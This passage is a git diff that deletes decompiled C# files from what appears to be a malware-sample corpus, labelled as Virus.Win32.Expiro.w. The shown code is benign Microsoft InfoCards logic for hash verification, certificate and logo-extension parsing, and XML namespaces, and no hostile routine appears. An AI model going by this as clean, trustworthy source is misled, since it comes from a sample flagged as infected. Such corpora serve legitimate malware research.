a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/VerifyHashRequest.cs +++ /dev/null @@ -1,63 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.VerifyHashRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class VerifyHashRequest : ClientRequest - { - private int m_cryptoSession; - private byte[] m_hash; - private string m_hashAlgorithmOid; - private byte[] m_signature; - private bool m_verified; - - public VerifyHashRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - this.m_cryptoSession = 0; - this.m_hash = (byte[]) null; - this.m_hashAlgorithmOid = (string) null; - this.m_signature = (byte[]) null; - this.m_verified = false; - } - - protected override void OnMarshalInArgs() - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - this.m_cryptoSession = reader.ReadInt32(); - int count1 = reader.ReadInt32(); - this.m_hash = reader.ReadBytes(count1); - int count2 = reader.ReadInt32(); - this.m_signature = reader.ReadBytes(count2); - this.m_hashAlgorithmOid = Utility.DeserializeString(reader); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_cryptoSession, "cryptoSession"); - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_hash == null || 0 == this.m_hash.Length, "hash"); - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_signature == null || 0 == this.m_signature.Length, "signature"); - InfoCardTrace.ThrowInvalidArgumentConditional(null == this.m_hashAlgorithmOid, "hashAlgorithmOid"); - } - - protected override void OnProcess() => this.m_verified = ((AsymmetricCryptoSession) CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User)).VerifyHash(this.m_hash, this.m_hashAlgorithmOid, this.m_signature); - - protected override void OnMarshalOutArgs() - { - BinaryWriter binaryWriter = new BinaryWriter(this.OutArgs, Encoding.Unicode); - binaryWriter.Write(this.m_verified); - binaryWriter.Flush(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/WSIdentityFaultException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/WSIdentityFaultException.cs deleted file mode 100644 index 05c2820a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/WSIdentityFaultException.cs +++ /dev/null @@ -1,98 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.WSIdentityFaultException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Globalization; -using System.Runtime.Serialization; -using System.ServiceModel; -using System.ServiceModel.Channels; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class WSIdentityFaultException : InfoCardBaseException - { - private const int HRESULT = -1073413871; - - public static void ThrowIfFaultMessage(Message message, CultureInfo displayCulture) - { - if (message.IsFault) - { - MessageFault fault1 = MessageFault.CreateFault(message, 2000000); - FaultException fault2 = FaultException.CreateFault(fault1); - string message1 = fault2.Message; - string extendedMessage = string.Empty; - if (fault1.Reason != null) - { - FaultReasonText matchingTranslation = fault1.Reason.GetMatchingTranslation(displayCulture); - if (matchingTranslation != null) - extendedMessage = matchingTranslation.Text; - } - if (fault1.HasDetail) - { - using (XmlReader atDetailContents = (XmlReader) fault1.GetReaderAtDetailContents()) - { - if (atDetailContents.Read()) - message1 = string.Format((IFormatProvider) CultureInfo.CurrentUICulture, SR.GetString("FaultMessageFormat"), new object[2] - { - (object) fault2.Message, - (object) atDetailContents.ReadOuterXml() - }); - } - } - throw InfoCardTrace.ThrowHelperErrorWithNoLogging((Exception) new WSIdentityFaultException(message1, extendedMessage, (Exception) fault2)); - } - } - - public WSIdentityFaultException() - : base(-1073413871) - { - } - - public WSIdentityFaultException(string message) - : base(-1073413871, message) - { - } - - public WSIdentityFaultException(string message, string extendedMessage, Exception inner) - : base(-1073413871, message, extendedMessage) - { - if (!(inner is FaultException)) - return; - this.MapFaultException(inner as FaultException); - } - - protected WSIdentityFaultException(SerializationInfo si, StreamingContext sc) - : base(-1073413871, si, sc) - { - } - - private void MapFaultException(FaultException fe) - { - if (fe == null || fe.Code == null || fe.Code.SubCode == null || !(fe.Code.SubCode.Namespace == "http://schemas.xmlsoap.org/ws/2005/05/identity/fault")) - return; - switch (fe.Code.SubCode.Name) - { - case "InformationCardRefreshRequired": - this.HResult = -1073413760; - break; - case "MissingAppliesTo": - this.HResult = -1073413759; - break; - case "InvalidProofKey": - this.HResult = -1073413758; - break; - case "UnknownInformationCardReference": - this.HResult = -1073413757; - break; - case "FailedRequiredClaims": - this.HResult = -1073413756; - break; - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/X509AudioLogo.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/X509AudioLogo.cs deleted file mode 100644 index 25119603..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/X509AudioLogo.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.X509AudioLogo -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System.Collections.Generic; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal sealed class X509AudioLogo : X509Logo - { - public X509AudioLogo( - X509LogoType logoType, - string mediaType, - Dictionary hashes, - List fileLocations) - : base(logoType, mediaType, hashes, fileLocations) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/X509CertificateTokenFactoryCredential.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/X509CertificateTokenFactoryCredential.cs deleted file mode 100644 index a655ba30..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/X509CertificateTokenFactoryCredential.cs +++ /dev/null @@ -1,68 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.X509CertificateTokenFactoryCredential -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System.IO; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; - -namespace Microsoft.InfoCards -{ - internal class X509CertificateTokenFactoryCredential : TokenFactoryCredential - { - private X509Certificate2 m_cert; - private string m_contextKey; - private string m_portName; - private UIAgentRequest m_request; - private bool m_disposed; - private object m_sync = new object(); - - public X509CertificateTokenFactoryCredential(UIAgentRequest request) - : base(TokenFactoryCredentialType.X509CertificateCredential) - { - this.m_request = request; - } - - public string ContextKey => this.m_contextKey; - - public string PortName => this.m_portName; - - public X509Certificate2 Certificate => this.m_cert; - - protected override void DeserializeData(BinaryReader reader) - { - this.m_portName = Utility.DeserializeString(reader); - this.m_contextKey = Utility.DeserializeString(reader); - byte[] numArray = new byte[reader.ReadInt32()]; - reader.Read(numArray, 0, numArray.Length); - this.m_cert = new X509Certificate2(numArray); - this.m_cert.PrivateKey = (AsymmetricAlgorithm) new RemoteCryptoRsaServiceProvider(this, this.m_request); - } - - public override void Dispose(bool disposing) - { - if (this.m_disposed) - return; - lock (this.m_sync) - { - if (this.m_disposed) - return; - try - { - if (disposing) - { - this.m_cert.PrivateKey.Clear(); - this.m_cert.PublicKey.Key.Clear(); - } - this.m_disposed = true; - } - finally - { - base.Dispose(disposing); - } - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/X509ImageLogo.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/X509ImageLogo.cs deleted file mode 100644 index 8ac8f70d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/X509ImageLogo.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.X509ImageLogo -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System.Collections.Generic; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal sealed class X509ImageLogo : X509Logo - { - public X509ImageLogo( - X509LogoType logoType, - string mediaType, - Dictionary hashes, - List fileLocations) - : base(logoType, mediaType, hashes, fileLocations) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/X509Logo.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/X509Logo.cs deleted file mode 100644 index 2e969621..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/X509Logo.cs +++ /dev/null @@ -1,62 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.X509Logo -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System.Collections.Generic; -using System.IO; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal abstract class X509Logo - { - private X509LogoType m_logoType; - private string m_mediaType; - private Dictionary m_fileHashes; - private List m_fileLocations; - - public X509LogoType LogoType => this.m_logoType; - - public string MediaType => this.m_mediaType; - - public Dictionary Hashes => this.m_fileHashes; - - public List FileLocations => this.m_fileLocations; - - public X509Logo( - X509LogoType logoType, - string mediaType, - Dictionary hashes, - List fileLocations) - { - this.m_logoType = logoType; - this.m_mediaType = mediaType; - this.m_fileHashes = hashes; - this.m_fileLocations = fileLocations; - } - - public override string ToString() => base.ToString(); - - protected virtual void OnSerialize(BinaryWriter writer) - { - } - - public void Serialize(BinaryWriter writer) - { - writer.Write((byte) this.LogoType); - Utility.SerializeString(writer, this.MediaType); - writer.Write(this.Hashes.Count); - foreach (Oid key in this.Hashes.Keys) - { - Utility.SerializeString(writer, key.Value); - Utility.SerializeBytes(writer, this.m_fileHashes[key]); - } - writer.Write(this.FileLocations.Count); - foreach (string fileLocation in this.FileLocations) - Utility.SerializeString(writer, fileLocation); - this.OnSerialize(writer); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/X509LogoDataType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/X509LogoDataType.cs deleted file mode 100644 index 39e842de..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/X509LogoDataType.cs +++ /dev/null @@ -1,14 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.X509LogoDataType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -namespace Microsoft.InfoCards -{ - internal enum X509LogoDataType - { - Image, - Audio, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/X509LogoType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/X509LogoType.cs deleted file mode 100644 index edc71fd1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/X509LogoType.cs +++ /dev/null @@ -1,16 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.X509LogoType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -namespace Microsoft.InfoCards -{ - internal enum X509LogoType : byte - { - Community = 160, // 0xA0 - Issuer = 161, // 0xA1 - Subject = 162, // 0xA2 - Other = 163, // 0xA3 - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/X509LogoTypeExtension.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/X509LogoTypeExtension.cs deleted file mode 100644 index 61530d1e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/X509LogoTypeExtension.cs +++ /dev/null @@ -1,201 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.X509LogoTypeExtension -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.IO; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal sealed class X509LogoTypeExtension : X509Extension - { - private const string szOID_LOGO_TYPES = "1.3.6.1.5.5.7.1.12"; - private const byte OctetStringTag = 4; - private const byte ObjectIdentifierTag = 6; - private const byte StringTag = 22; - private const byte SequenceTag = 48; - private const byte DirectTag = 160; - private const byte IndirectTag = 161; - private const byte AudioLogoTypeDataTag = 161; - private List m_logos = new List(); - private bool m_decodePathComplete; - - public List Logos => this.m_logos; - - public void TryDecodeExtension() - { - try - { - this.DecodeExtension(); - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - InfoCardService.Crash(ex); - InfoCardTrace.TraceAndLogException(ex); - } - this.m_decodePathComplete = true; - } - - public X509LogoTypeExtension(byte[] rawData) - : base("1.3.6.1.5.5.7.1.12", rawData, false) - { - } - - public static X509LogoTypeExtension FromCertificate( - X509Certificate2 certificate) - { - return certificate.Extensions == null || certificate.Extensions["1.3.6.1.5.5.7.1.12"] == null ? (X509LogoTypeExtension) null : new X509LogoTypeExtension(certificate.Extensions["1.3.6.1.5.5.7.1.12"].RawData); - } - - public override void CopyFrom(AsnEncodedData asnEncodedData) - { - base.CopyFrom(asnEncodedData); - this.Critical = false; - this.m_decodePathComplete = false; - } - - public override string ToString() => base.ToString(); - - private void DecodeExtension() - { - BinaryReader br = (BinaryReader) new InfoCardBinaryReader((Stream) new MemoryStream(this.RawData)); - ASCIIEncoding asciiEncoding = new ASCIIEncoding(); - this.VerifyByte(br.ReadByte(), (byte) 48); - this.ReadAsnByteLength(br); - while (!this.ReachedEndPosition(br.BaseStream.Position, br.BaseStream.Length)) - { - Dictionary hashes = new Dictionary(); - List fileLocations = new List(); - X509LogoType logoType = (X509LogoType) br.ReadByte(); - long position = br.BaseStream.Position; - long num1 = (long) this.ReadAsnByteLength(br); - long num2 = br.BaseStream.Position + num1; - if (X509LogoType.Subject != logoType && X509LogoType.Issuer != logoType) - throw InfoCardTrace.ThrowHelperError((Exception) new LogoValidationException(SR.GetString("LogoUnsupportedType"))); - byte input1 = br.ReadByte(); - this.VerifyByte(input1, new byte[2] - { - (byte) 160, - (byte) 161 - }); - this.ReadAsnByteLength(br); - if ((byte) 161 == input1) - throw InfoCardTrace.ThrowHelperError((Exception) new LogoValidationException(SR.GetString("LogoUnsupportedIndirectReferences"))); - this.VerifyByte(br.ReadByte(), (byte) 48); - this.ReadAsnByteLength(br); - byte input2 = br.ReadByte(); - bool flag; - if ((byte) 161 == input2) - { - flag = false; - InfoCardTrace.TraceAndLogException((Exception) new LogoValidationException(SR.GetString("LogoUnsupportedAudio"))); - this.VerifyByte(br.ReadByte(), (byte) 48); - } - else - { - flag = true; - this.VerifyByte(input2, (byte) 48); - } - this.ReadAsnByteLength(br); - this.VerifyByte(br.ReadByte(), (byte) 48); - this.ReadAsnByteLength(br); - this.VerifyByte(br.ReadByte(), (byte) 22); - int count1 = this.ReadAsnByteLength(br); - string mediaType = asciiEncoding.GetString(br.ReadBytes(count1)); - this.VerifyByte(br.ReadByte(), (byte) 48); - int num3 = this.ReadAsnByteLength(br); - long endPosition1 = br.BaseStream.Position + (long) num3; - while (!this.ReachedEndPosition(br.BaseStream.Position, endPosition1)) - { - this.VerifyByte(br.ReadByte(), (byte) 48); - this.ReadAsnByteLength(br); - this.VerifyByte(br.ReadByte(), (byte) 48); - int num4 = this.ReadAsnByteLength(br); - long num5 = br.BaseStream.Position + (long) num4; - Oid key = this.ReadObjectIdentifier(br); - br.BaseStream.Position = num5; - this.VerifyByte(br.ReadByte(), (byte) 4); - int count2 = this.ReadAsnByteLength(br); - byte[] numArray = br.ReadBytes(count2); - hashes[key] = numArray; - } - this.VerifyByte(br.ReadByte(), (byte) 48); - int num6 = this.ReadAsnByteLength(br); - long endPosition2 = br.BaseStream.Position + (long) num6; - while (!this.ReachedEndPosition(br.BaseStream.Position, endPosition2)) - { - this.VerifyByte(br.ReadByte(), (byte) 22); - int count3 = this.ReadAsnByteLength(br); - fileLocations.Add(asciiEncoding.GetString(br.ReadBytes(count3))); - } - if (br.BaseStream.Position != num2) - br.BaseStream.Position = num2; - if (flag) - this.m_logos.Add((X509Logo) new X509ImageLogo(logoType, mediaType, hashes, fileLocations)); - } - } - - private void VerifyByte(byte input, byte[] expected) - { - foreach (int num in expected) - { - if (num == (int) input) - return; - } - throw InfoCardTrace.ThrowHelperError((Exception) new LogoValidationException(SR.GetString("LogoInvalidLogoType"))); - } - - private void VerifyByte(byte input, byte expected) - { - if ((int) input != (int) expected) - throw InfoCardTrace.ThrowHelperError((Exception) new LogoValidationException(SR.GetString("LogoInvalidLogoType"))); - } - - private bool ReachedEndPosition(long currentPosition, long endPosition) - { - if (currentPosition > endPosition) - throw InfoCardTrace.ThrowHelperError((Exception) new LogoValidationException(SR.GetString("LogoInvalidCertificateLength"))); - return currentPosition == endPosition; - } - - private int ReadAsnByteLength(BinaryReader br) - { - byte num1 = br.ReadByte(); - if (((int) num1 & 128) == 0) - return (int) num1; - int num2 = (int) num1 & (int) sbyte.MaxValue; - if (num2 < 1 || num2 > 4) - throw InfoCardTrace.ThrowHelperError((Exception) new LogoValidationException(SR.GetString("LogoInvalidAsnLength"))); - byte[] numArray = br.ReadBytes((int) num1 & (int) sbyte.MaxValue); - int num3 = 0; - foreach (int num4 in numArray) - num3 = num4 + (num3 << 8); - return num3; - } - - private Oid ReadObjectIdentifier(BinaryReader br) - { - this.VerifyByte(br.ReadByte(), (byte) 6); - int count = this.ReadAsnByteLength(br); - byte[] numArray = br.ReadBytes(count); - StringBuilder stringBuilder = new StringBuilder(); - stringBuilder.AppendFormat("{0}.{1}.", (object) ((int) numArray[0] / 40), (object) ((int) numArray[0] % 40)); - for (int index = 1; index < count; ++index) - { - stringBuilder.Append(numArray[index].ToString((IFormatProvider) CultureInfo.InvariantCulture)); - if (index != count - 1) - stringBuilder.Append('.'); - } - return new Oid(stringBuilder.ToString()); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/X509RecipientIdentity.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/X509RecipientIdentity.cs deleted file mode 100644 index 9b87915b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/X509RecipientIdentity.cs +++ /dev/null @@ -1,64 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.X509RecipientIdentity -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IdentityModel.Tokens; -using System.Security.Cryptography.X509Certificates; -using System.ServiceModel; - -namespace Microsoft.InfoCards -{ - internal class X509RecipientIdentity : RecipientIdentity - { - private X509Certificate2Collection m_certificates; - private Recipient.RecipientCertParameters m_recipientParams; - private bool isChainTrusted; - - public Recipient.RecipientCertParameters RecipientParams => this.m_recipientParams; - - public X509Certificate2 LeafCertificate => this.m_certificates[0]; - - public X509RecipientIdentity(EndpointAddress epr, X509Certificate2Collection certificates) - : base(epr) - { - this.m_certificates = certificates; - } - - public override void Validate() - { - if (this.HasBeenValidated) - return; - this.isChainTrusted = this.ValidateCertificate(); - this.Identifier = Recipient.CertGetRecipientIdHash(this.LeafCertificate, this.m_certificates, this.isChainTrusted, out this.m_recipientParams); - this.OrganizationIdentifier = Recipient.CertGetRecipientOrganizationIdHash(this.LeafCertificate, this.m_certificates, this.ValidateCertificate()); - this.OrganizationPPIDIdentifier = Recipient.CertGetRecipientOrganizationPPIDSeedHash(this.LeafCertificate, this.m_certificates, this.ValidateCertificate()); - this.HasBeenValidated = true; - } - - public override string GetName() - { - string name = this.LeafCertificate.FriendlyName; - if (string.IsNullOrEmpty(name)) - name = this.LeafCertificate.GetNameInfo(X509NameType.SimpleName, false); - return name; - } - - private bool ValidateCertificate() - { - bool chainTrustPassed = false; - try - { - InfoCardX509Validator.ValidateChainOrPeer(this.LeafCertificate, this.m_certificates, out chainTrustPassed); - } - catch (SecurityTokenValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("RecipientCertificateNotValid"), (Exception) ex)); - } - return chainTrustPassed; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/XmlNames.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/XmlNames.cs deleted file mode 100644 index 18cd359c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/XmlNames.cs +++ /dev/null @@ -1,863 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.XmlNames -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal sealed class XmlNames - { - private XmlNames() - { - } - - public static XmlNamespaceManager CreateNamespaceManager( - XmlNameTable nameTable) - { - XmlNamespaceManager namespaceManager = new XmlNamespaceManager(nameTable); - namespaceManager.AddNamespace("saml", "urn:oasis:names:tc:SAML:1.0:assertion"); - namespaceManager.AddNamespace("soap", "http://www.w3.org/2003/05/soap-envelope"); - namespaceManager.AddNamespace("wsa", "http://www.w3.org/2005/08/addressing"); - namespaceManager.AddNamespace("wsid", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - namespaceManager.AddNamespace("wsmex", "http://schemas.xmlsoap.org/ws/2004/09/mex"); - namespaceManager.AddNamespace("wsp", "http://schemas.xmlsoap.org/ws/2004/09/policy"); - namespaceManager.AddNamespace("wsse", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"); - namespaceManager.AddNamespace("wssu", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"); - namespaceManager.AddNamespace("wxf", "http://schemas.xmlsoap.org/ws/2004/09/transfer"); - namespaceManager.AddNamespace("wst", "http://schemas.xmlsoap.org/ws/2005/02/trust"); - namespaceManager.AddNamespace("dsig", "http://www.w3.org/2000/09/xmldsig#"); - namespaceManager.AddNamespace("enc", "http://www.w3.org/2001/04/xmlenc#"); - namespaceManager.AddNamespace("xsd", "http://www.w3.org/2001/XMLSchema"); - return namespaceManager; - } - - internal sealed class Saml11 - { - public const string DefaultPrefix = "saml"; - public const string Namespace = "urn:oasis:names:tc:SAML:1.0:assertion"; - public const string AltNamespace = "http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1"; - - private Saml11() - { - } - } - - internal sealed class Saml10 - { - public const string DefaultPrefix = "saml"; - public const string Namespace = "urn:oasis:names:tc:SAML:1.0:assertion"; - public const string Bearer = "urn:oasis:names:tc:SAML:1.0:cm:bearer"; - - private Saml10() - { - } - } - - internal sealed class Xml - { - public const string DefaultPrefix = "xml"; - public const string Namespace = "http://www.w3.org/XML/1998/namespace"; - public const string Language = "lang"; - public const string DateTimeFormat = "yyyy-MM-ddTHH:mm:ssZ"; - - private Xml() - { - } - } - - internal sealed class XmlSchema - { - public const string DefaultPrefix = "xsd"; - public const string Namespace = "http://www.w3.org/2001/XMLSchema"; - public const string SchemaLocation = "http://www.w3.org/2001/xml.xsd"; - public const string LocalSchemaLocation = "xml.xsd"; - - private XmlSchema() - { - } - } - - internal sealed class WSAddressing - { - public const string DefaultPrefix = "wsa"; - public const string Namespace = "http://www.w3.org/2005/08/addressing"; - public const string SchemaLocation = "http://www.w3.org/2005/08/addressing/addressing.xsd"; - public const string LocalSchemaLocation = 